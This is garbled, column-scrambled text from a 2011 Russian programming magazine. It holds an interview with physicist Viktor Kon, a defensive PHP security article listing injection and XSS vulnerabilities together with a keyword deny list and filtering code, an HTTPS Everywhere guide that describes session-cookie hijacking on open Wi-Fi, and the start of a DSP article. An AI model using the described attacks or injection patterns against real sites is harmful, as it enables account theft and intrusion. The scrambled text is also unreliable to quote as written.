Берлине в 2001 году. Это была 10-я премия, и первая, в которой в списке лауреатов оказался российский ученый. Utkin:
Как
состояние
частности?
Вы
оцениваете
науки
вообще
Хотелось
изменить?
и
бы
современное
российской Вам
в
что-то
Виктор: На этот вопрос можно написать целую
диссертацию. Я напомню, что наукой поначалу
занимались как хобби люди, которым это было интересно. Наука вся была при университетах и профессора
просто
учили
студентов
делать
опыты и сами делали. Первые крупные научные специализированные институты появились как в
Америке, так и в России в связи с созданием
атомной бомбы. И наш Курчатовский Институт
от 40-ка до 60-ти лет все на Западе. А молодежь неграмотная
и
не
умеет
практически
ничего, так как их некому и негде учить. Хотя зарплаты
ученых
в
последние
годы
слегка
выросли и на жизнь хватает. И здания снова
выстроили или отремонтировали. Но этого мало. Это о российской науке. Что касается науки в
мире, то там тоже упал интерес к науке, это не
очень престижная работа, она тяжелая и малооплачиваемая по сравнению с другими работами. В
науку
идут
любознательные интересуют
только
люди,
материальные
способные
которых блага,
не
и
очень
но
хочется
прославиться и сделать что-то рекордное. По сути наука – тот же спорт, только тут нет возрастных ограничений. Но есть постоянные
тренировки, попытки поставить рекорд, очень часто неудачные. Utkin:
Есть
ли
у
Вас
научные
труды,
опубликованные в периодических изданиях?
тому пример. И как раз успехи атомной науки и
Виктор: Вот как раз научных статей у меня
всего физику очень престижной. В 50-60-е годы
сайте, указанном выше. У меня более 180 статей
выход в космос сделали науку вообще, а больше физики были очень уважаемыми людьми. Тем более,
что
иногда
Ну,
потом
можно
было
выехать
за
границу, а это вообще было недостижимо в СССР. а
это прошло.
И оказалось,
что
научная работа очень трудная и сложная, а с другой стороны она напрямую никому не нужна
и платить за нее финансистам не очень то хочется.
Особенно
это
касается
фундаментальной науки. И началось постепенное
снижение зарплат ученых практически до нуля. А потом перестали финансировать и приборы и
даже оплачивать свет и тепло. Я видел на примере
нашего
института
как
разрушались
здания, ломались приборы и взамен ничего не
поступало. Вместо этого разрешили уезжать на
много. Их список можно посмотреть на моем опубликовано
в
рецензируемых
научных
журналах и еще около 120-ти статей в сборниках
трудов конференций и аннотаций. Если считать за 30 лет в среднем 6 статей в год. Хотя бывало и
10 статей в год и всего 3. Статьи я пишу постоянно и это часть моей работы. Это тоже надо уметь, это непросто и требует многих знаний, Больше
в
том
числе
половины
научной
статей
литературы.
опубликовано
на
английском языке. Я не очень люблю писать статьи, но понимаю, что это надо и пишу.
Utkin: Как помогает знание информационных технологий в научной деятельности?
Запад и наиболее успешные и талантливые люди
Виктор: Лично мне очень помогает, как другим –
просто заниматься наукой в России было нельзя.
ученым
все уехали. Не потому, что они этого хотели, Многие из них по-прежнему сохраняют связи с Россией, но вернуться уже нельзя, на Западе
реально лучше во всех отношениях и так будет
всегда. Современное состояние в России можно характеризовать как медленное умирание типа таяния снега. Пока еще живы кадры советской
школы, хотя многим уже около 60-ти и больше.
VIP ПЕРСОНА
не знаю. Проблема еще и в том, что российским нет
журналам.
организации
доступа
Они
к
платные,
платить
за
многим
а
наши
что-либо
научным
научные
не
любят.
Лично я очень много времени в своих научных
командировках на Западе трачу на скачивание
нужных статей, а заодно и всех остальных впрок. А будучи в России приходится просить своих
западных соавторов скачать статью и прислать
СОДЕРЖАНИЕ
11
ПРО
граммист
№11 (февраль) 2011
ИНТЕРВЬЮ. У НАС В ГОСТЯХ - ВИКТОР ГЕРМАНОВИЧ КОН
по почте. Вообще говоря, я уже несколько лет
вопросу. А вопросов бывает много.
обсуждения своих и чужих результатов с людьми,
Utkin: Как относятся ваши близкие к вашим
работаю сидя дома и используя интернет для
которые работают во Франции, Америке, в Корее. Я каждый день получаю письма и каждый день
увлечениям, работе, поездкам?
их пишу. Причем не просто письма, а документы
Виктор: Близкие относились с пониманием. Но я
тоже статьи, но не для публикаций, а для
стали жить отдельно. А сейчас я живу отдельно с
с графиками, картинками и так далее. Это как бы
внутреннего пользования. Это настолько удобно, что я даже со своим аспирантом общаюсь через интернет, телефон не годится, нужны графики и формулы.
Utkin: Занимались ли вы преподавательской
деятельностью? И если да, то где и по каким предметам?
стал ездить часто только, когда дети выросли и
женой и она чаще меня выходит из дома и ездит
в разные места. Два раза я брал ее с собой во Францию. Кроме работы мы ездим вместе еще
кататься на лыжах зимой и на море летом. Работой жена интересуется, все мои коллеги ей очень нравятся, хотя по сути она ничего не понимает и такой недостаток есть. Но это общая проблема.
Виктор: А вот это не получилось. Во-первых, наш
Utkin: Есть ли у Вас ученики?
учился не в Москве и связей с московскими
Виктор: Есть но не так много. И потом ученики
заикался
работает за границей, кто вообще ушел из науки.
институт
научный,
а
не
обучающий.
Я
сам
вузами не имел. Во-вторых, я раньше заметно и
это
не
способствовало
чтению
лекций. Доклады я редко, но делал и каждый раз это было тяжелым
трудом. Но ученики у меня
были. Это в основном молодые соавторы, которых
в процессе работы надо было еще и учить работать.
Молодых
соавторов
у
меня
было
немало. Но лучше сказать, что я не занимался
преподавательской деятельностью, хотя я очень хорошо рассказываю и понятно, но мне легче все
это записать, чем сказать. По этой причине я так и не стал профессором. Utkin:
Пятерка
ежедневных
интернет-ресурсов?
просмотров
Виктор: Я после включения компьютера сразу смотрю свою почту на Яндексе. Там же есть и
очень быстро исчезают из поля зрения. Кто А кто, наоборот, высоко поднялся. Постоянных
учеников не бывает. Вот сейчас у меня есть
аспирант, но его очень сложно учить, он уже на очень многое смотрит другими глазами, да и интерес к науке уже другой. Я писал об этом
выше. Я не верю в будущее науки в России. То есть
она
конечно
будет,
как
есть
наука
в
Азербайджане или Киргизии. Но только толку от
такой науки ноль. Максимальная цель – это просто понять то, что делают на Западе. Но и это не всегда удается. Utkin:
издания
Какие
печатные
являются
ориентиром?
для
вас
своих любимых клубах на Яндекс-фотках (ЯФ).
приготовить (в LaTeХ-е, а не в Ворде), то после
поиске
Яндекса,
отсылает
в
просматриваю
который
Википедию. ленту
очень
часто
меня
в
своих
Вечером
новостей
я
либо
музыкальных клубах на ЯФ, либо сайты, где есть кино. Хотя и любой фильм на заказ легко найти опять же поиском в Яндексе. Последнее время я
даже научные статьи стал находить через поиск Яндекса (или Гугла, если на Западе). Просто так я сайты не смотрю, а всегда по конкретному
VIP ПЕРСОНА
журналы
идеалом,
Все
Как правило, ответ на любой вопрос я ищу в
западные
электронные
последние новости. Потом я смотрю счетчики посещаемости своих сайтов. Потом новости в
крупные
и
работают
практически одинаково. Если статью хорошо принятия решения о публикации через неделю выходит
электронная
версия,
а
через
две
–
печатная. В России хорошо работает только один журнал
ЖЭТФ.
Но
там
необъективное
рецензирование, как и все в России. Впрочем у
меня есть статьи, опубликованные в ЖЭТФ. Но последние
годы
я
больше
ориентируюсь
на
западные журналы. Ну и иногда печатаю статьи в Кристаллографии (где я член редколлегии) и в
Поверхности (в основном в трудах конференции).
СОДЕРЖАНИЕ
12
ПРО
граммист
№11 (февраль) 2011
Utkin:
Виктор
ИНТЕРВЬЮ. У НАС В ГОСТЯХ - ВИКТОР ГЕРМАНОВИЧ КОН
Германович,
из
общения
с
Вами мы знаем, что вы участвуете в проекте создания
рентгеновского
лазера
на
сво-
бодных электронах. Что нового в проекте за последнее время? Каково участие России в
данном проекте? И что даст этот проект российской науке? Виктор:
Сама
идея
неплохая
и
как
всегда
выделились три проекта. Америка, Япония и
Европа. Так же точно в середине 90-х годов было с
источниками
синхротронного
излучения
третьего поколения. Был построен европейский
Совета
слабый), а немного после этого источники в
отстала в микро-технологиях (компьютеры и так
источник в Гренобле (самый первый, но самый Америке и в Японии. Причем японский был
самый лучший, хотя различия были небольшие. На этот раз все наоборот. Америка решила построить самый слабый лазер, но быстро. И он
уже работает. Японский лазер будет вторым, а немецкий – третьим и самым лучшим. Германия решила
построить
самый
лучший
лазер,
но
позже всех. То есть не раньше 2015 года. Более
того, проект был сделан, но денег не хватало. Европа как-то слабо поддержала Германию и
всем колхозом набрала 25% от нужной суммы. Сама Германия вложила 50%. Но 25% не хватало. И проект просто повис. Решение было найдено через Россию. Так как лазер вроде бы имеет такую мощность, что одного импульса хватит для
освещения маленького нано-объекта (например, большой
молекулы
белка)
и
записи
дифракционной картины от него, то его можно назвать первым прибором нанотехнологий. Зная про
интерес
Ковальчука
к
нанотехнологиям,
при
произносились
распыляться,
(он
ведь
секретарь
безнадежно
а
лучше
сделать
рывок
в
Самим нам его не построить. Но вложив деньги в
немецкий лазер, мы будем иметь доступ к работе на
нем.
На
сайте
http://viperson.ru/wind.php?ID=261843
Ковальчука
опублико-
ваны все его выступления, сами почитайте. В
частности, там говорилось и о том, что тесное
сотрудничество с немцами поможет нам выучить молодых
ученых,
источник
а
заодно
и
синхротронного
поднять
излучения
наш в
Курчатовском институте. И вот деньги были выделены, ходом.
А
и
выделяются
лазер
заодно на
сейчас
строится
кое-какие
подготовку
полным
деньги
уже
приборов,
теоретической базы и так далее для новых экспериментов.
источника
Путина
этом
нанотехнологиях. А для этого нам нужен лазер.
согласилась, точнее не Россия, а Ковальчук, убедил
Россия
при
так как все начинают с нуля. И нам не следует
Скажу
который
такие.
Слова
далее), но в развитии нанотехнологий все равны,
немцы через него вышли в правительство Росии и предложили участвовать в проекте. И Россия
президенте).
честно,
лично
я
не
очень
хотел
участвовать в новом проекте. Мне вполне хватает синхротронного
излучения
в
Гренобле. И мне проще ездить во Францию, а не
в Германию. В Германии я в 1998 году заболел от перегрузки
и
переутомления
и
у
меня
о
Гамбурге остались неприятные впечатления изза этого. Хотя город сам очень интересный. Но меня буквально за ноги втянул в проект мой же
ученик, Иван Вартаньянц, который там работает. Так
что
волей-неволей
думать и об этом.
приходиться
сейчас
Кстати первой сотрудницей немецкого лазера
стала другая моя ученица – Любовь Самойлова, которую приняли по моей рекомендации. Она
VIP ПЕРСОНА
СОДЕРЖАНИЕ
13
ПРО
граммист
ИНТЕРВЬЮ. У НАС В ГОСТЯХ - ВИКТОР ГЕРМАНОВИЧ КОН
№11 (февраль) 2011
тоже живет в Гамбурге и они оба из бывшей
супер задачи, но там всего пять пучков и на всех
проект России я не знаю и видимо никто не
как жили. Ну, а как они жили – читай выше.
лаборатории Ковальчука. Что конкретно даст знает.
Благими
намерениями,
как
известно,
не хватит. Остальные будут по-прежнему жить
выложена дорога в ад. Проблема в колоссальном
Utkin: Каковы ваши планы на будущее?
России и в Германии. Даже если молодые люди и
Виктор: В 66 лет трудно строить планы на
будут
успею. Вот в конце прошлого года я открыл свой
различии уровня оснащения науки приборами в
научатся в Германии работать, в России они находиться
в
положении
декабристов,
сосланных в Сибирь, так как в России негде применить эти знания. Но проблема еще и в
самих кадрах. Нет людей в России. Никто не
хочет этим заниматься. И Российские чиновники не очень торопяться оплачивать работу россиян
по этому проекту. Деньги выделены только на строительство и в одноразовом порядке. А ведь надо еще столько же, если не больше на все
остальное. Вот пример, как было с моим сыном. Допустим вы решили купить квартиру и внесли
все деньги в фирму, которая будет строить дом. И
допустим вас не надули и дом построили. Но это ведь только голые стены. А еще надо вашу конкретную
перепланировать, купить
мебель,
квартиру
подвести
наконец,
и
отремонтировать, коммуникации,
потом
платить
кварплату. А у вас уже денег больше нет. И
некому платить. Вот так выглядит ситуация с
будущее. Буду делать то, что умею и сколько сайт по рентгеновской оптике. Думаю, что это даже лучше, чем писать книги, так как на сайте можно выложить всю науку и в самых разных формах.
В
частности,
через
онлайн
компьютерную программу, которая будет решать
много задач. Впрочем, книги и статьи тоже буду
писать. Я могу решать много задач именно благодаря умению программировать. И вообще
вижу будущее науки именно в Интернете, он развивается
очень
быстро
и
каждый
год
появляется что-то новое. Наверно я несколько опережаю общий уровень физиков, так как я сам
все на свете делаю через Интернет, не все еще
так умеют. В моей ситуации надо следить за здоровьем, а сидение по 12 часов каждый день
перед компьютером не очень этому помогает. Но пока силы есть.
этим проектом. Как будут решаться все вопросы
Виктор Германович, большое спасибо Вам
цены на нефть и от многих других факторов. Ну и
В Новом году желаем Вам здоровья,
я не знаю. Очень многое зависит от политики, от последнее.
Лазер
рентгеновской
не
науки.
решит
Это
всех
будет
проблем
похоже
на
полеты в космос. Некоторые люди будут решать
VIP ПЕРСОНА
от наших читателей за уделенное время. лада в семье и успехов в работе,
новых достижений и открытий.
До встречи на страницах нашего журнала.
СОДЕРЖАНИЕ
14
ПРО
граммист
PHP. ПРОВЕРКА ПОСТУПИВШИХ ДАННЫХ
№11 (февраль) 2011
Одним из наиболее значимых вопросов для WEB-программистов является безопасность PHP- скриптов. Все программисты в той или иной мере используют различные методы, чтобы обезопасить свой проект, но, к сожалению, в большинстве случаев используется защита от нескольких уязвимостей. При этом остальные проблемные места даже не рассматриваются. В данной статье я постарался перечислить основные виды уязвимостей и рассмотреть способы защиты от них... Виталий Желтяков
переменных.
by vita-zhelt@yandex.ru
настройках задавать
при каких-либо ошибках в коде пользователю
выводиться информация об произошедшей
•
взломщику
данных
о
критичной
уязвимостью,
взломщику
получить
Не
но
дополнительную
информацию о структуре и работе сервера. Причина
этой
«недосмотрах»
уязвимости
в
ошибках
программиста.
данных
о
fopen(). •
и
доступ
к
программным
взломщику
Простые
пароли
административным
для
сервере
кодам
страницам.
к
странице,
•
ему
БЕЗОПАСНОСТЬ В СЕТИ
глобальных
на
сервере.
получить
данным.
уязвимость
возможна
переменных
и
задания
E-mail-инъекция.
только
к
Данная
при
глобальных
неверной Смысл:
доступ
организации в
параметр,
определяющий работу PHP с электронными
критичной уязвимостью, так как взломщик может выполнять свои скрипты на сервере
или получить доступ к данным, хранимым у
взломщику повлиять на работу сервера. задания
файл
программный код или сам код. Является
критичной уязвимостью, так как позваляет Возможность
определяющий
письмами, передается ссылка на сторонний
больше возможностей для взлома. Является
•
глобальных
механизма загрузки файлов.
Смысл:
дающей
задании
параметр,
или
возможности
взломщик может подобрать простой пароль к административной
в
конфиденциальным
получить
доступа
возможности
взломщик может выполнять свои скрипты на
достаточно полную информацию о структуре •
при
Является критичной уязвимостью, так как
коде
и работе сервера, выявить его уязвимости.
dir(),
PHP-инъекция через загрузку файлов. Смысл:
конфиденциальный
php. Является критичной уязвимостью, так позваляет
readfile(),
ссылка на сторонний программный код или
модулей, имеющих расширение, отличное от как
include(),
загружаемый на сервер файл, передается
пользователю. Смысл: пользователь может получить
параметр,
include_once(),
create_function(),
переменных
Примером
программном
в
определяющий работу PHP с файлами или
require(),
одноименной функцией в свободном доступе. Доступность
Смысл:
require_once(),
может служить наличие файла phpinfo.php с
•
PHP-инъекция.
при помощи функций: eval(), preg_replace(),
является
поваляет
может
сервере. Выполнение кода осуществляется
характеристиках
системе.
взломщик
взломщик может выполнять свои скрипты на
может получить доступ к данным, дающим о
как
Является критичной уязвимостью, так как
системы пользователю. Смысл: пользователь представление
так
сторонний программный код или сам код.
работе сервера. Доступность
скрипта,
программным кодом, передается ссылка на
получить
дополнительную информацию о структуре и •
возможность
переменные
влиять на ход работы скрипта в свою пользу.
ошибке. Не является критичной уязвимостью, поваляет
неправильных
имеется
глобальные
уязвимостью,
Демонстрация ошибок пользователю. Смысл:
но
PHP
при
через строку запроса. Является критичной
Виды уязвимостей PHP •
Смысл:
пользователя. •
SQL-инъекция. Смысл: в параметр, определя-
СОДЕРЖАНИЕ
15
ПРО
PHP. ПРОВЕРКА ПОСТУПИВШИХ ДАННЫХ
№11 (февраль) 2011
граммист
ющий
SQL-запрос,
передается
данные,
образующее запрос для доступа к закрытым
данным. Является критичной уязвимостью, так
как
взломщик
может
получить
конфиденциальные данные, хранимые в базе
данных. Для изменения запроса взломщик
может использовать следующие конструкции: SELECT, UNION, UPDATE, INSERT, OR, AND.
чивает
параметр,
определяющий
файлам
уязвимостью, получить
код.
так
как
взломщик
Правила написания безопасного кода на PHP 1. Блокирование вывода ошибок. Для этого достаточно
в
программном
коде
задать
error_reporting(0) или в файле .htaccess добавить строку php_flag error_reporting 0
модулей
при
помощи
конструкций
<FilesMatch "\.php"> Deny from all </FilesMatch> <Files capcha.php>
может
запроса взломщик использует html-теги.
их
этого
Order Deny, Allow
Allow from all
данные,
хранимые в браузере клиента. Для изменения
Для
кроме файла capcha.php:
критичной
конфиденциальные
просмотра
доступ ко всем модулям с расширением PHP,
выводимые
Является
попыток
выполнения.
FilesMatch и Files. Например, мы закрываем
пользователю данные, передается сторонний программный
от
или
достаточно в файле .htaccess настроить доступ к
Межсайтовый скриптинг или XSS. Смысл: в
•
защиту
содержимого
</Files>
5. Отключение возможности задания глобальных переменных. Для этого достаточно в настройках
сервера задать register_globals = off или в файле .htaccess
добавить
register_globals
off.
ini_set('register_globals',0) так
как
переменные
выполнения скрипта.
php_flag
Использование
проблему
задаются
решит,
начала
6.
достаточно использовать многозначные пароли,
настройках сервера задать allow_url_fopen = off.
административным
не
имеющие
страницам.
Для
семантического
этого
значения
(например, К7O0iV98dq).
3. Логирование критических действий пользователя. Не обеспечивает защиту напрямую, но позволяет выявить взломщиков и определить уязвимости,
которые
они
использовали.
Для
этого действия пользователя и переданные им данные,
моментов
которые
работы
касаются
системы,
критических
достаточно
записывать в обычный текстовый файл.
Пример функции логирования и ее работы: function writelog($typelog, $log_text) { $log = fopen('logs/'.$typelog.'.txt','a+'); fwrite($log, "$log_text\r\n"); fclose($log); } writelog('authorization', date("y.m.d H:m:s"). "\t".$_SERVER['REMOTE_ADDR']."\tУспешный вход");
4. Закрытие доступа к модулям сайта. Обеспе-
БЕЗОПАСНОСТЬ В СЕТИ
удаленных
возможности
не
до
2. Использование сложных паролей для доступа к
Отключение
строку
файлов.
Для
этого
использования достаточно
в
Это обеспечивает частичную защиту от PHPинъекций, но не полную, так как взломщик может
передавать
не
ссылку
на
файл
с
программным кодом, а сам программный код. Для
полной
необходимо
фильтрацию
защиты
от
PHP-инъекций
дополнительно
поступивших
использовать
данных.
Иногда
данную меру защиты невозможно использовать из-за
особенностей
работы
проекта
обращаться к удаленным файлам).
(нужно
7. Фильтрация поступающих данных. Обеспечивает
защиту
Универсального
от
большенства
решения
не
уязвимостей. существует.
Желательно использовать проверку по «белому» списку символов в совокупности с проверкой на
запрещенные слова. «Белым» называется список разрешенных символов. В этот список не должны входить
опасные
символы,
например,
<>.
К
запрещенным словам можно отнести: script, http, SELECT, UNION, UPDATE, exe, exec, INSERT, tmp, а
также
html-теги.
поступающих данных:
Пример
фильтрации
СОДЕРЖАНИЕ
16
ПРО
граммист
PHP. ПРОВЕРКА ПОСТУПИВШИХ ДАННЫХ
№11 (февраль) 2011
HTML-сущности перед выводом. Обеспечивает защиту от XSS. Для этого данные, введенные
// Проверка по белому списку. Допускаются только русские и
пользователем,
// латинские буквы, цифры и знаки _-
вид
}
можно
не
поступающих
опасные HTML-тэги.
if (preg_match("/script|http|<|>|<|>|SELECT|UNION|UPDATE| exe|exec|INSERT|tmp/i",$text)) {
использовать, данных
если
отсеивает
Заключение
$text = ''; }
8. Проверка на загрузку файла при помощи HTTP POST. Обеспечивает защиту от PHP-инъекций через загрузку файлов.
Для обеспечения этого загруженные на сервер проверять
или
защиты
фильтрация
// Фильтрация опасных слов
is_uploaded_file()
содержать
обработать функцией htmlspecialchars(). Данный
$text = '';
необходимо
могут
нежелательные html-тэги, при выводе достаточно
if (preg_match("/[^(\w)|(\x7F-\xFF-)|(\s)]/",$text)) {
файлы
которые
функцией
перемещать
функцией
move_uploaded_file(). Данный вид защиты можно не использовать, если отключена возможность
Как
видите,
безопасности дело.
Данный
создание
скриптов
материал
не
продуманной не
такое
системы
трудоемкое
претендует
на
роль
руководства по безопасности скриптов, но я надеюсь, что он подтолкнет PHP-программистов использовать защиты.
более
продуманные
методы
задания глобальных переменных.
9. Экранирование символов кавычек данных, передаваемых в базу данных. Обеспечивает защиту от
SQL-инъекций.
Наиболее
оптимальным
методом является обработка всех поступивших не
числовых
данных
с
помощью
функции
mysql_real_escape_string(). Следует отметить, что использование данной функции требует наличие подключения к базе данных MySQL. Можно
так
же
использовать
автоматическое
экранирование, поступающих данных. Для этого достаточно в файле .htaccess добавить строку php_value magic_quotes_gpc on, но этот способ не
является надежным, так как может привести к двойному экранированию. Пример
экранирования
кавычек
функции mysql_real_escape_string():
с
помощью
if (!is_numeric($text)) { $textrequest = mysql_real_escape_string($text); }
Экранирование можно не использовать, если
фильтрация поступающих данных не пропускает символы кавычек. 10.
Преобразование
специальных
БЕЗОПАСНОСТЬ В СЕТИ
символов
в
СОДЕРЖАНИЕ
17
ПРО
ЗАСТАВЛЯЕМ FIREFOX ШИФРОВАТЬ ТРАФИК
№11 (февраль) 2011
граммист
Недавно в сети появилось видео о краже сессии Вконтакте в публичной Wi-Fi сети http://www.youtube.com/watch?v=jsFODcwiRFY. Это стало причиной обсуждений на различных ресурсах. Я уже долгое время использую плагин для Firefox HTTPS Everywhere, который перенаправляет запросы пользователей таким образом, чтобы они использовали зашифрованное соединение. Список поддерживаемых сайтов велик, но он не затрагивает отечественные ресурсы. К счастью, разработчики реализовали создание собственных правил... Игорь Теслюк
by TIgor http://tigor.org.ua
расскажу, как решить проблему защиты в сети, а только потом порассуждаю о причинах самой проблемы…
Плагин для Mozilla Firefox, который разработан
организацией Electronic Frontier Foundation [1]. Это некоммерческая организация, которая была
основана еще в 1990 году на заре интернета. Цели у организации самые благородные: защита и
анонимности,
остальных
•
Wikipedia;
• • • • • •
HTTPS Everywhere
прав
Microsoft;
•
Этот материал будет написан с конца. Сначала я
приватности,
•
важных
интеллектуальных
вещей.
Они-то
и
PayPal;
Evernote; Mozilla;
WordPress.com; Cisco;
Facebook;
Google APIs
и некоторые другие. Также есть стандартные правила, но при запуске они неактивны: • •
Amazon (работает с ошибками);
Facebook+ (расширенная версия шифрования
в фейсбуке, но может мешать некоторым плагинам).
создали плагин HTTPS EveryWhere, информация
Создание правил
Mozilla, но ссылки на скачивание ведут на сайт
Конечно же, Интернет не ограничивается этими
о нем есть среди других дополнений на сайте организации https://www.eff.org/https-everywhere.
Принцип работы очень простой, каждый раз, когда вы открываете ссылку, плагин проверяет ее
по
своим
соответствующее,
правилам
шифрованную. После
установки
то
и
если
заменяет
плагин
сразу
же
отправлять на шифрование такие сайты: •
DropBox;
•
Mail.com;
• • • • • • • • •
Google Search; Twitter;
Amason S3; Gentoo;
Google Services;
находит
ее
на
начнет
сайтами, и каждый должен иметь возможность защитить свою среду серфинга, к сожалению не
все сайты заботятся о своих пользователях и имеют
возможность
использования.
Например,
https://vkontakte.ru (запрещено),
видимо
администраторы
на
403
этой
пользователей.
Ну, от философии перейдем к делу. Например, в стандартной
поставке
нет
правила
для
youtube.com, вот его мы и создадим. Для начала нужно зайти в папку %AppData%\Mozilla\Firefox\
Profiles\…\HTTPSEverywhereUserRules\ и создать там
файл,
например
файле нужно написать:
bit.ly;
<target host="youtube.com" />
БЕЗОПАСНОСТЬ В СЕТИ
заходе
ошибку
социальной сети рады, когда воруют аккаунты их
<ruleset name="Youtube">
Hotmail / Live;
при
получаем
Meebo;
NYTimes;
шифрованного
<youtube.xml>.
В
этом
<target host="www.youtube.com" />
СОДЕРЖАНИЕ
18
ПРО
граммист
ЗАСТАВЛЯЕМ FIREFOX ШИФРОВАТЬ ТРАФИК
№11 (февраль) 2011
McDonalds,
<rule from="^http://(www\.)?youtube\.com/" </ruleset>
•
<ruleset
•
<target host=”www.youtube.com” /> – домен,
name=”Youtube”>
–
имя,
которое
в
Открытые точки Wi-Fi В открытых сетях все пакеты рассылаются на все
который будет шифроваться. Для каждого
только свои. И если в проводной сети сложно
нужно
использовать
по
правилу,
звездочку
но
(*),
*.youtube.com (но нельзя youtube.*); <rule
можно
например
from=”^http://(www\.)?youtube\.com/”
to=”https://www.youtube.com/”/> непосредственно имеет
два
отвечает
само
параметра
за
обработку
–
правило,
from
и
to.
введенной
страницу.
Для
этого
ссылки,
используются
для исключения адреса из шифрования.
пользователям рунета.
воткнуть
свой сети
человек с ноутбуком не вызывает подозрений. позволяет
получать
данные,
адресованные
легко найти в интернете, либо найти сторонний драйвер,
который
реализует
эту
функцию
у
приличного устройства. И берется программасниффер, которая собирает и записывает всю информацию, летающую в пространстве.
Отсутствие шифрования в vkontakte.ru
которые
пригодятся
информации, то теперь легко найти лакомый
сайта, но бывает сложнее, например поисковый http://google.com
https://encrypted.google.com.
гугл, или FAQ нужного сайта.
В
превращается этом
в
поможет
раньше
хакерам
ориентироваться
в
тяжело
было
огромных
потоках
кусочек по ключевому слову – куки vkontakte.ru, файлы,
которые
пользователей, шифруются,
а
задумывались.
хранят
в
данные
приличных
вот
vkontakte.ru
авторизации
сайтах об
этом
они не
Перехватив такой файлик, хакер подсовывает его своему браузеру и заходит на сайт, который не видит
Проблемы
разницы
между
этими
компьютерами
(внешний IP адрес точки доступа один для всех,
Сам плагин находится в стадии бета и на сайте
дополнений Mozilla предоставлена только ссылка на сайт авторов. Но это не самая большая проблема.
и
беспроводной
Если
это просто замена HTTP, на HTTPS в адресе из
кабинет
публичной
необходимо
Самое сложное, это узнать что писать. Обычно запрос
в
файла,
перезапустить Firefox. В самом конце я приведу кодов,
чужой
то
другим клиентам в сети. Список таких устройств
в этом примере не используется, но служит
несколько
в
ноутбук,
Первый
которое
<exclusion pattern=”^http:// адрес сайта “/> –
сохранения
прийти
Далее нужно взять «нечестный» Wi-Fi, который
регулярные выражения JavaScript;
После
устройства, а те под честное слово разбирают
это
второй за генерацию ссылки на шифрованную •
шифрования
будет отображаться в настройках плагина; субдомена
•
отсутствие
vkontakte.ru.
to="https://www.youtube.com/"/>
Самое
неприятное
то,
что
при
использовании шифрованной страницы, Google не использует некоторые фишки поиска, такие как Google Instant. Но это – не вина плагина. Источник проблем Откуда же появилась эта проблема? Она не
куки одинаковые). Теперь хакер может делать
все, что не требует ввода пароля (см. скрины из видео на рисунке). Хотя можно получить и пароль,
достаточно
уловить
момент,
когда
пользователь его вводит. На представленном ниже
видео
хакер
меняет
фотографию
пользователя для смеха, а не такие добрые люди отсылают спам, воруют личные данные и т.д. Правила рунета
HTTPS
Everywhere
для
сайтов
взялась вдруг, а существовала давно, просто о
Если вы используете какой-то сайт, и создали
стечение обстоятельств: открытые точки Wi-Fi в
комментарии. И полезные сайты попадут в этот
ней особо не вспоминали, и тут произошло
БЕЗОПАСНОСТЬ В СЕТИ
для него правило шифрования, то оставляйте в
СОДЕРЖАНИЕ
19
ПРО
ЗАСТАВЛЯЕМ FIREFOX ШИФРОВАТЬ ТРАФИК
№11 (февраль) 2011
граммист
Рисунок. Последовательность скринов из видео список со ссылкой на сайт автора.
наличие
–
Яндекс
поддерживает
•
шифрование практически для всех сервисов, я не нашел
https
версии
у
Главной
страницы
и
•
принудительного
•
исключить
какой-то
сервис
шифрования
из
достаточно
создать новую строку exclusion, и вставить там этот адрес:
<ruleset name="Yandex.ru">
•
<target host="*.yandex.ru" /> <exclusion pattern="^http://www.yandex.ru"/> <exclusion pattern="^https://wdgt.yandex.ru/"/>
https://win.mail.ru 403 Forbiden. Единственная палочка,
это
защищенная
форма ввода пароля https://secure.mail.ru;
Rambler.ru – https тихо редиректится на http, а в помощи нет ни одного упоминания https;
livejournal.com – https поддерживается только для формы ввода пароля и платежей; liveinternet.ru
–
про
https
https://www.liveinternet.ru
не
соединение;
ни
слова,
а
принимает
rutube.ru – https редиректится на обычный http.
Заключение*
<rule from="^http://([^/:@]*)\.yandex.ru/" to="https://$1.yandex.ru/"/>
Используйте
</ruleset>
возможно,
Yandex.ua
а
шифрование если
ваш
везде,
любимый
где
сайт
это не
поддерживает шифрование, то не используйте его в публичных местах. Видео, упомянутое в
Сервера для Украины, работают так же как и
статье,
российские. Если вы из Украины, то создайте
приложено
в
виде
непосредственно в архиве с журналом.
файлик <YandexUA.xml> и вставьте туда код
ресурсов
Ресурсы
<ruleset name="Yandex.ua"> <target host="*.yandex.ua" /> <exclusion pattern="^http://www.yandex.ua"/> <exclusion pattern="^https://wdgt.yandex.ua/"/> <rule from="^http://([^/:@]*)\.yandex.ua/" to="https://$1.yandex.ua/"/>
•
Ресурс
организации
Electronic
•
Персональный блог автора http://tigor.org.ua
Foundation https://www.eff.org
Frontier
* Комментарий редакции.
</ruleset>
1. Не пользуйтесь ВКонтакте – это гигиена.
2. Только очень недалекий пользователь будет использовать Wi-Fi
Где небезопасно? Написав
•
Результаты
M@il.ru https://www.mail.ru не соединяется, спасительная
страницы Виджетов. Возможно есть и другие, чтобы
версии.
неутешительные:
Yandex.ru YandexRu.xml
https
статью
для работы с личными данными, такими как электронная почта.
3. Не пользуйтесь McDonalds – были судебные иски, уже лучше
я
решил
пройтись
по
популярным сайтам рунета и проверить у них
БЕЗОПАСНОСТЬ В СЕТИ
шаурму у узбеков брать – шансов отравиться в МакДональдсе в разы больше…
СОДЕРЖАНИЕ
20
ПРО
граммист
НЕМНОГО О DSP. ЧАСТЬ 1
№11 (февраль) 2011
Благодаря своему универу, пришлось иметь дело с такой вещью, как Digital Signal Processing (DSP). DSP* мне всегда казалось жутко интересным занятием, когда имеешь дело с большим количеством численных данных, применяешь какие-то умные математические приемы и в итоге случается чудо – все работает, и работает как надо. В этой статье попробую начать тему, написать простенький пример. С чего начать? Методы DSP используются для обработки всевозможных данных: звука, изображений, показаний различных датчиков и т.д. Здесь я рассмотрю только звук. Я попробую написать простейшую программу, которая открывает звуковой файл и производит некоторые действия над ним. Вот и плавно переходим к первой части... Мират Каденов
поступает в так называемый аналого-цифровой
by mirat http://mathdev.org/mirat
преобразователь (АЦП http://ru.wikipedia.org/ wiki/АЦП).
Представление данных
Напряжение на входе АЦП должно находитcя в
Что такое звук? Звук, в широком смысле –
вольт (это характеристика конкретного АЦП).
упругие волны, распространяющиеся в среде и создающие в ней механические колебания; в
узком смысле – субъективное восприятие этих колебаний
специальными
органами
чувств
животных или человека. На самом деле, любой звук
состоит
из
множества
волн
различной
частоты. Самое замечательно свойство волн – это то, что волны различной частоты «никак не влияют»
друг
на
друга.
Например,
общее
